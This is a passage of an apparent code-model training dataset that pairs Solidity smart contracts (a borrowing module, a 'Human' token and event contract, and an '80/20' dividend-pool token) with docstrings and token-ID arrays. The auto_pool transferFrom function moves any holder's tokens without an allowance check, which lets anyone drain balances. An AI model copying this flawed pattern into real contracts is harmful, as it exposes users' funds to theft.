* Must be called during the blackout window, to ensure allocated balance will not change before
* the start of the next epoch. Reverts if there are insufficient funds to prevent a shortfall.
*
* Can be called with eth_call to view amounts that will be borrowed or repaid.
*
* @return The newly borrowed amount.
* @return The borrow amount repaid.
* @return The debt amount repaid.
*/
function autoPayOrBorrow()
external
nonReentrant
onlyRole(BORROWER_ROLE)
returns (
uint256,
uint256,
uint256
)
{
// Ensure we are in the blackout window.
require(
LIQUIDITY_STAKING.inBlackoutWindow(),
'SP1Borrowing: Auto-pay may only be used during the blackout window'
);
// Get the borrowed balance, next allocated balance, and token balance.
uint256 borrowedBalance = getBorrowedBalance();
uint256 nextAllocatedBalance = getAllocatedBalanceNextEpoch();
uint256 tokenBalance = getTokenBalance();
// Return values.
uint256 borrowAmount = 0;
uint256 repayBorrowAmount = 0;
uint256 repayDebtAmount = 0;
if (borrowedBalance > nextAllocatedBalance) {
// Make the necessary repayment due by the end of the current epoch.
repayBorrowAmount = borrowedBalance.sub(nextAllocatedBalance);
require(
tokenBalance >= repayBorrowAmount,
'SP1Borrowing: Insufficient funds to avoid falling short on repayment'
);
_repayBorrow(repayBorrowAmount, false);
} else {
// Borrow the max borrowable amount.
borrowAmount = getBorrowableAmount();
if (borrowAmount != 0) {
_borrow(borrowAmount);
}
}
// Finally, use remaining funds to pay any overdue debt.
uint256 debtBalance = getDebtBalance();
repayDebtAmount = Math.min(debtBalance, tokenBalance);
if (repayDebtAmount != 0) {
_repayDebt(repayDebtAmount, false);
}
return (borrowAmount, repayBorrowAmount, repayDebtAmount);
}
function borrow(
uint256 amount
)
external
nonReentrant
onlyRole(BORROWER_ROLE)
{
// Disallow if the guardian has restricted borrowing.
require(
!_IS_BORROWING_RESTRICTED_,
'SP1Borrowing: Cannot borrow while Restricted'
);
_borrow(amount);
}
function repayBorrow(
uint256 amount
)
external
nonReentrant
onlyRole(BORROWER_ROLE)
{
_repayBorrow(amount, false);
}
function repayDebt(
uint256 amount
)
external
nonReentrant
onlyRole(BORROWER_ROLE)
{
_repayDebt(amount, false);
}
// ============ Internal Functions ============
function _borrow(
uint256 amount
)
internal
{
LIQUIDITY_STAKING.borrow(amount);
emit Borrowed(amount, getBorrowedBalance());
}
function _repayBorrow(
uint256 amount,
bool isGovernanceAction
)
internal
{
LIQUIDITY_STAKING.repayBorrow(address(this), amount);
emit RepaidBorrow(amount, getBorrowedBalance(), isGovernanceAction);
}
function _repayDebt(
uint256 amount,
bool isGovernanceAction
)
internal
{
LIQUIDITY_STAKING.repayDebt(address(this), amount);
emit RepaidDebt(amount, getDebtBalance(), isGovernanceAction);
}
}
| * @notice Deposit funds to the exchange. IMPORTANT: The caller is responsible for providing `quantizedAmount` in the right units. Currently, the exchange collateral is USDC, denominated in ERC20 token units, but this could change. @param starkKey The STARK key of the account. Must be authorized by OWNER_ROLE. @param assetType The exchange asset ID for the asset to deposit. @param vaultId The exchange position ID for the account to deposit to. @param quantizedAmount The deposit amount denominated in the exchange base units. @return The ERC20 token amount spent./ Deposit and get the deposited token amount. Disallow depositing borrowed funds to the exchange if the guardian has restricted borrowing. | function depositToExchange(
uint256 starkKey,
uint256 assetType,
uint256 vaultId,
uint256 quantizedAmount
)
external
nonReentrant
onlyRole(EXCHANGE_OPERATOR_ROLE)
onlyAllowedKey(starkKey)
returns (uint256)
{
uint256 startingBalance = getTokenBalance();
STARK_PERPETUAL.deposit(starkKey, assetType, vaultId, quantizedAmount);
uint256 endingBalance = getTokenBalance();
uint256 tokenAmount = startingBalance.sub(endingBalance);
if (_IS_BORROWING_RESTRICTED_) {
require(
endingBalance >= getBorrowedAndDebtBalance(),
'SP1Borrowing: Cannot deposit borrowed funds to the exchange while Restricted'
);
}
emit DepositedToExchange(starkKey, assetType, vaultId, tokenAmount);
return tokenAmount;
}
| 221,916 | [
1,
758,
1724,
284,
19156,
358,
326,
7829,
18,
225,
21840,
6856,
30,
1021,
4894,
353,
14549,
364,
17721,
1375,
17753,
1235,
6275,
68,
316,
326,
2145,
4971,
18,
2398,
15212,
16,
326,
7829,
4508,
2045,
287,
353,
11836,
5528,
16,
10716,
7458,
316,
4232,
39,
3462,
1147,
4971,
16,
1496,
2398,
333,
3377,
2549,
18,
282,
384,
1313,
653,
540,
1021,
2347,
9584,
498,
434,
326,
2236,
18,
6753,
506,
10799,
635,
531,
22527,
67,
16256,
18,
282,
3310,
559,
3639,
1021,
7829,
3310,
1599,
364,
326,
3310,
358,
443,
1724,
18,
282,
9229,
548,
1850,
1021,
7829,
1754,
1599,
364,
326,
2236,
358,
443,
1724,
358,
18,
282,
10251,
1235,
6275,
225,
1021,
443,
1724,
3844,
10716,
7458,
316,
326,
7829,
1026,
4971,
18,
327,
1021,
4232,
39,
3462,
1147,
3844,
26515,
18,
19,
4019,
538,
305,
471,
336,
326,
443,
1724,
329,
1147,
3844,
18,
3035,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
225,
445,
443,
1724,
774,
11688,
12,
203,
565,
2254,
5034,
384,
1313,
653,
16,
203,
565,
2254,
5034,
3310,
559,
16,
203,
565,
2254,
5034,
9229,
548,
16,
203,
565,
2254,
5034,
10251,
1235,
6275,
203,
225,
262,
203,
565,
3903,
203,
565,
1661,
426,
8230,
970,
203,
565,
1338,
2996,
12,
2294,
14473,
67,
26110,
67,
16256,
13,
203,
565,
1338,
5042,
653,
12,
334,
1313,
653,
13,
203,
565,
1135,
261,
11890,
5034,
13,
203,
225,
288,
203,
565,
2254,
5034,
5023,
13937,
273,
9162,
13937,
5621,
203,
565,
2347,
9584,
67,
3194,
1423,
56,
14235,
18,
323,
1724,
12,
334,
1313,
653,
16,
3310,
559,
16,
9229,
548,
16,
10251,
1235,
6275,
1769,
203,
565,
2254,
5034,
11463,
13937,
273,
9162,
13937,
5621,
203,
565,
2254,
5034,
1147,
6275,
273,
5023,
13937,
18,
1717,
12,
2846,
13937,
1769,
203,
203,
565,
309,
261,
67,
5127,
67,
38,
916,
11226,
1360,
67,
12030,
2259,
15494,
67,
13,
288,
203,
1377,
2583,
12,
203,
3639,
11463,
13937,
1545,
2882,
15318,
329,
1876,
758,
23602,
13937,
9334,
203,
3639,
296,
3118,
21,
38,
15318,
310,
30,
14143,
443,
1724,
29759,
329,
284,
19156,
358,
326,
7829,
1323,
29814,
11,
203,
1377,
11272,
203,
565,
289,
203,
203,
565,
3626,
4019,
538,
16261,
774,
11688,
12,
334,
1313,
653,
16,
3310,
559,
16,
9229,
548,
16,
1147,
6275,
1769,
203,
565,
327,
1147,
6275,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//Address: 0x94b38550946102be2a33485d96e18c358c376195
//Contract name: HumanToken
//Balance: -
//Verification Date: 4/27/2018
//Transacion Count: 0
// CODE STARTS HERE
// Human token smart contract.
// Developed by Phenom.Team <[email protected]>
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint a, uint b) internal constant returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal constant returns(uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal constant returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal constant returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20
* @dev Standart ERC20 token interface
*/
contract ERC20 {
uint public totalSupply = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
function balanceOf(address _owner) constant returns (uint);
function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title HumanToken
* @dev Human token smart-contract
*/
contract HumanToken is ERC20 {
using SafeMath for uint;
string public name = "Human";
string public symbol = "Human";
uint public decimals = 18;
uint public voteCost = 10**18;
// Owner address
address public owner;
address public eventManager;
mapping (address => bool) isActiveEvent;
//events
event EventAdded(address _event);
event Contribute(address _event, address _contributor, uint _amount);
event Vote(address _event, address _contributor, bool _proposal);
// Allows execution by the contract owner only
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Allows execution by the event manager only
modifier onlyEventManager {
require(msg.sender == eventManager);
_;
}
// Allows contributing and voting only to human events
modifier onlyActive(address _event) {
require(isActiveEvent[_event]);
_;
}
/**
* @dev Contract constructor function sets owner address
* @param _owner owner address
*/
function HumanToken(address _owner, address _eventManager) public {
owner = _owner;
eventManager = _eventManager;
}
/**
* @dev Function to add a new event from TheHuman team
* @param _event a new event address
*/
function addEvent(address _event) external onlyEventManager {
require (!isActiveEvent[_event]);
isActiveEvent[_event] = true;
EventAdded(_event);
}
/**
* @dev Function to change vote cost, by default vote cost equals 1 Human token
* @param _voteCost a new vote cost
*/
function setVoteCost(uint _voteCost) external onlyEventManager {
voteCost = _voteCost;
}
/**
* @dev Function to donate for event
* @param _event address of event
* @param _amount donation amount
*/
function donate(address _event, uint _amount) public onlyActive(_event) {
require (transfer(_event, _amount));
require (HumanEvent(_event).contribute(msg.sender, _amount));
Contribute(_event, msg.sender, _amount);
}
/**
* @dev Function voting for the success of the event
* @param _event address of event
* @param _proposal true - event completed successfully, false - otherwise
*/
function vote(address _event, bool _proposal) public onlyActive(_event) {
require(transfer(_event, voteCost));
require(HumanEvent(_event).vote(msg.sender, _proposal));
Vote(_event, msg.sender, _proposal);
}
/**
* @dev Function to mint tokens
* @param _holder beneficiary address the tokens will be issued to
* @param _value number of tokens to issue
*/
function mintTokens(address _holder, uint _value) external onlyOwner {
require(_value > 0);
balances[_holder] = balances[_holder].add(_value);
totalSupply = totalSupply.add(_value);
Transfer(0x0, _holder, _value);
}
/**
* @dev Get balance of tokens holder
* @param _holder holder's address
* @return balance of investor
*/
function balanceOf(address _holder) constant returns (uint) {
return balances[_holder];
}
/**
* @dev Send coins
* throws on any error rather then return a false flag to minimize
* user errors
* @param _to target address
* @param _amount transfer amount
*
* @return true if the transfer was successful
*/
function transfer(address _to, uint _amount) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev An account/contract attempts to get the coins
* throws on any error rather then return a false flag to minimize user errors
*
* @param _from source address
* @param _to target address
* @param _amount transfer amount
*
* @return true if the transfer was successful
*/
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Allows another account/contract to spend some tokens on its behalf
* throws on any error rather then return a false flag to minimize user errors
*
* also, to minimize the risk of the approve/transferFrom attack vector
* approve has to be called twice in 2 separate transactions - once to
* change the allowance to 0 and secondly to change it to the new allowance
* value
*
* @param _spender approved address
* @param _amount allowance amount
*
* @return true if the approval was successful
*/
function approve(address _spender, uint _amount) public returns (bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
*
* @param _owner the address which owns the funds
* @param _spender the address which will spend the funds
*
* @return the amount of tokens still avaible for the spender
*/
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
/**
* @dev Allows owner to transfer out any accidentally sent ERC20 tokens
* @param tokenAddress token address
* @param tokens transfer amount
*/
function transferAnyTokens(address tokenAddress, uint tokens)
public
onlyOwner
returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
}
contract HumanEvent {
using SafeMath for uint;
uint public totalRaised;
uint public softCap;
uint public positiveVotes;
uint public negativeVotes;
address public alternative;
address public owner;
HumanToken public human;
mapping (address => uint) public contributions;
mapping (address => bool) public voted;
mapping (address => bool) public claimed;
// Allows execution by the contract owner only
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Allows execution by the contract owner only
modifier onlyHuman {
require(msg.sender == address(human));
_;
}
// Possible Event statuses
enum StatusEvent {
Created,
Fundraising,
Failed,
Evaluating,
Voting,
Finished
}
StatusEvent public statusEvent = StatusEvent.Created;
function HumanEvent(
address _owner,
uint _softCap,
address _alternative,
address _human
) public {
owner = _owner;
softCap = _softCap;
alternative = _alternative;
human = HumanToken(_human);
}
function startFundraising() public onlyOwner {
require(statusEvent == StatusEvent.Created);
statusEvent = StatusEvent.Fundraising;
}
function startEvaluating() public onlyOwner {
require(statusEvent == StatusEvent.Fundraising);
if (totalRaised >= softCap) {
statusEvent = StatusEvent.Evaluating;
} else {
statusEvent = StatusEvent.Failed;
}
}
function startVoting() public onlyOwner {
require(statusEvent == StatusEvent.Evaluating);
statusEvent = StatusEvent.Voting;
}
function finish() public onlyOwner {
require(statusEvent == StatusEvent.Voting);
if (positiveVotes >= negativeVotes) {
statusEvent = StatusEvent.Finished;
} else {
statusEvent = StatusEvent.Failed;
}
}
function claim() public {
require(!claimed[msg.sender]);
claimed[msg.sender] = true;
uint contribution;
if (statusEvent == StatusEvent.Failed) {
contribution = contribution.add(contributions[msg.sender]);
contributions[msg.sender] = 0;
}
if(voted[msg.sender] && statusEvent != StatusEvent.Voting) {
uint _voteCost = human.voteCost();
contribution = contribution.add(_voteCost);
}
require(contribution > 0);
require(human.transfer(msg.sender, contribution));
}
function vote(address _voter, bool _proposal) external onlyHuman returns (bool) {
require(!voted[_voter] && statusEvent == StatusEvent.Voting);
voted[_voter] = true;
if (_proposal) {
positiveVotes++;
} else {
negativeVotes++;
}
return true;
}
function contribute(address _contributor, uint _amount) external onlyHuman returns(bool) {
require (statusEvent == StatusEvent.Fundraising);
contributions[_contributor] = contributions[_contributor].add(_amount);
totalRaised = totalRaised.add(_amount);
return true;
}
function withdraw() external onlyOwner {
require (statusEvent == StatusEvent.Finished);
require (human.transfer(alternative, totalRaised));
}
}
| * @dev Function to add a new event from TheHuman team @param _event a new event address/ | function addEvent(address _event) external onlyEventManager {
require (!isActiveEvent[_event]);
isActiveEvent[_event] = true;
EventAdded(_event);
}
| 5,459,826 | [
1,
2083,
358,
527,
279,
394,
871,
628,
1021,
28201,
5927,
565,
389,
2575,
4202,
279,
394,
871,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
225,
21781,
12,
2867,
389,
2575,
13,
3903,
1338,
1133,
1318,
288,
203,
3639,
2583,
16051,
291,
3896,
1133,
63,
67,
2575,
19226,
203,
3639,
15083,
1133,
63,
67,
2575,
65,
273,
638,
31,
203,
3639,
2587,
8602,
24899,
2575,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
* www.the8020.ch
*/
pragma solidity ^0.6.0;
/*==================================================================================
= The 80/20 is a Wealth Distribution system that is open for anyone to use. =
= We created this application with hopes that it will provide a steady stream =
= of passive income for generations to come. The foundation that stands behind =
= this product would like you to live happy, free, and prosperous. =
= Stay tuned for more dApps from the GSG Global Marketing Group. =
= #LuckyRico #LACGold #JCunn24 #BoHarvey #LennyBones #WealthWithPhelps =
= #ShahzainTariq >= developer of this smart contract =
================================================================================*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract auto_pool is IERC20{
using SafeMath for uint256;
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlybelievers () {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyhodler() {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint256 time,
uint256 totalTokens
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint256 time,
uint256 totalTokens
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event distrubuteBonusFund(
address,
uint256
);
event amountDistributedToSponsor(
address,
address,
uint256
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens,
uint256 time
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name ;
string public symbol ;
uint8 public decimals ;
uint8 internal dividendFee_ ;
uint256 internal tokenPriceInitial_ ;
uint256 internal tokenPriceIncremental_ ;
uint256 internal magnitude;
uint256 public tokenPool;
uint256 public loyaltyPool;
uint256 public developmentFund;
uint256 public sponsorsPaid;
uint256 public gsg_foundation;
address dev1;
address dev2;
address GSGO_Official_LoyaltyPlan;
uint256 public currentId;
uint256 public day;
uint256 public claimedLoyalty;
uint256 public totalDeposited;
uint256 public totalWithdraw;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) public tokenBalanceLedger_;
mapping(address => uint256) public referralBalance_;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => int256) public payoutsTo_;
mapping(address => basicData) public users;
mapping(uint256 => address) public userList;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 internal profitperLoyalty;
//Users's data set
struct basicData{
bool isExist;
uint256 id;
uint256 referrerId;
address referrerAdd;
}
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor() public{
name = "The-Eighty-Twenty";
symbol = "GS20";
decimals = 18;
dividendFee_ = 10;
tokenPriceInitial_ = 0.0000001 ether;
tokenPriceIncremental_ = 0.00000001 ether;
magnitude = 2**64;
// "This is the distribution contract for holders of the GSG-Official (GSGO) Token."
GSGO_Official_LoyaltyPlan = address(0x727395b95C90DEab2F220Ce42615d9dD0F44e187);
dev1 = address(0x88F2E544359525833f606FB6c63826E143132E7b);
dev2 = address(0x7cF196415CDD1eF08ca2358a8282D33Ba089B9f3);
currentId = 0;
day = now;
}
/**
* Converts all incoming Ethereum to tokens for the caller, and passes down the referral address (if any)
*/
function buy(address _referredAdd)
public
payable
returns(uint256)
{
require(msg.value >= 0.1 ether, "ERROR: minimun 0.1 ethereum ");
require(_referredAdd != msg.sender,"ERROR: cannot become own ref");
if(!users[msg.sender].isExist) register(msg.sender,_referredAdd);
purchaseTokens(msg.value,_referredAdd);
//Distributing Ethers
loyaltyPool += ((msg.value.mul(12)).div(100));
developmentFund += ((msg.value.mul(2)).div(100));
gsg_foundation += ((msg.value.mul(2)).div(100));
payable(GSGO_Official_LoyaltyPlan).transfer((msg.value.mul(2)).div(100));
payable(dev1).transfer((msg.value.mul(1)).div(100));
payable(dev2).transfer((msg.value.mul(1)).div(100));
totalDeposited += msg.value;
}
receive() external payable {
require(msg.value >= 0.1 ether, "ERROR: minimun 0.1 ethereum .");
if(!users[msg.sender].isExist) register(msg.sender,address(0));
purchaseTokens(msg.value,address(0));
//Distributing Ethers
loyaltyPool += ((msg.value.mul(12)).div(100));
developmentFund += ( (msg.value.mul(2)).div(100));
gsg_foundation += ((msg.value.mul(2)).div(100));
payable(GSGO_Official_LoyaltyPlan).transfer((msg.value.mul(2)).div(100));
payable(dev1).transfer((msg.value.mul(1)).div(100));
payable(dev2).transfer((msg.value.mul(1)).div(100));
}
fallback()
payable
external
{
require(msg.value >= 0.1 ether, "ERROR: minimun 0.1 ethereum .");
if(!users[msg.sender].isExist) register(msg.sender,address(0));
purchaseTokens(msg.value,address(0));
//Distributing Ethers
loyaltyPool += ((msg.value.mul(12)).div(100));
developmentFund += ( (msg.value.mul(2)).div(100));
gsg_foundation += ((msg.value.mul(2)).div(100));
payable(GSGO_Official_LoyaltyPlan).transfer((msg.value.mul(2)).div(100));
payable(dev1).transfer((msg.value.mul(1)).div(100));
payable(dev2).transfer((msg.value.mul(1)).div(100)); }
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyhodler()
public
{
address _customerAddress = msg.sender;
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
uint256 _loyaltyEth = loyaltyOf();
if(_loyaltyEth > 0 ether){
payable(address(_customerAddress)).transfer(_loyaltyEth);
loyaltyPool -= _loyaltyEth;
claimedLoyalty += _loyaltyEth;
totalWithdraw += _loyaltyEth;
}
// pay out the dividends virtually
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
address refAdd = users[_customerAddress].referrerAdd;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends,refAdd);
loyaltyPool += ((_dividends.mul(12)).div(100));
developmentFund += ((_dividends.mul(2)).div(100));
gsg_foundation += ((_dividends.mul(2)).div(100));
payable(GSGO_Official_LoyaltyPlan).transfer((_dividends.mul(2)).div(100));
payable(dev1).transfer((_dividends.mul(1)).div(100));
payable(dev2).transfer((_dividends.mul(1)).div(100));
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyhodler()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
uint256 _loyaltyEth = loyaltyOf();
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
if(_loyaltyEth > 0 ether) {
_dividends += _loyaltyEth;
loyaltyPool -= _loyaltyEth;
claimedLoyalty += _loyaltyEth;
}
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
totalWithdraw += _dividends;
// delivery service
payable(address(_customerAddress)).transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlybelievers ()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
//initializating values;
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 tax = (_ethereum.mul(5)).div(100);
loyaltyPool = SafeMath.add(loyaltyPool,tax);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, tax);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
//updates dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
payoutsTo_[_customerAddress] += (int256) (_taxedEthereum*magnitude);
totalWithdraw += _taxedEthereum;
//tranfer amout of ethers to user
payable(address(_customerAddress)).transfer(_taxedEthereum);
if(_ethereum < tokenPool) {
tokenPool = SafeMath.sub(tokenPool, _ethereum);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum,now,tokenBalanceLedger_[_customerAddress]);
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's a 10% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlybelievers ()
public
override
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens,now);
// ERC20
return true;
}
function transferFrom(address sender, address _toAddress, uint _amountOfTokens) public override returns (bool) {
// setup
address _customerAddress = sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
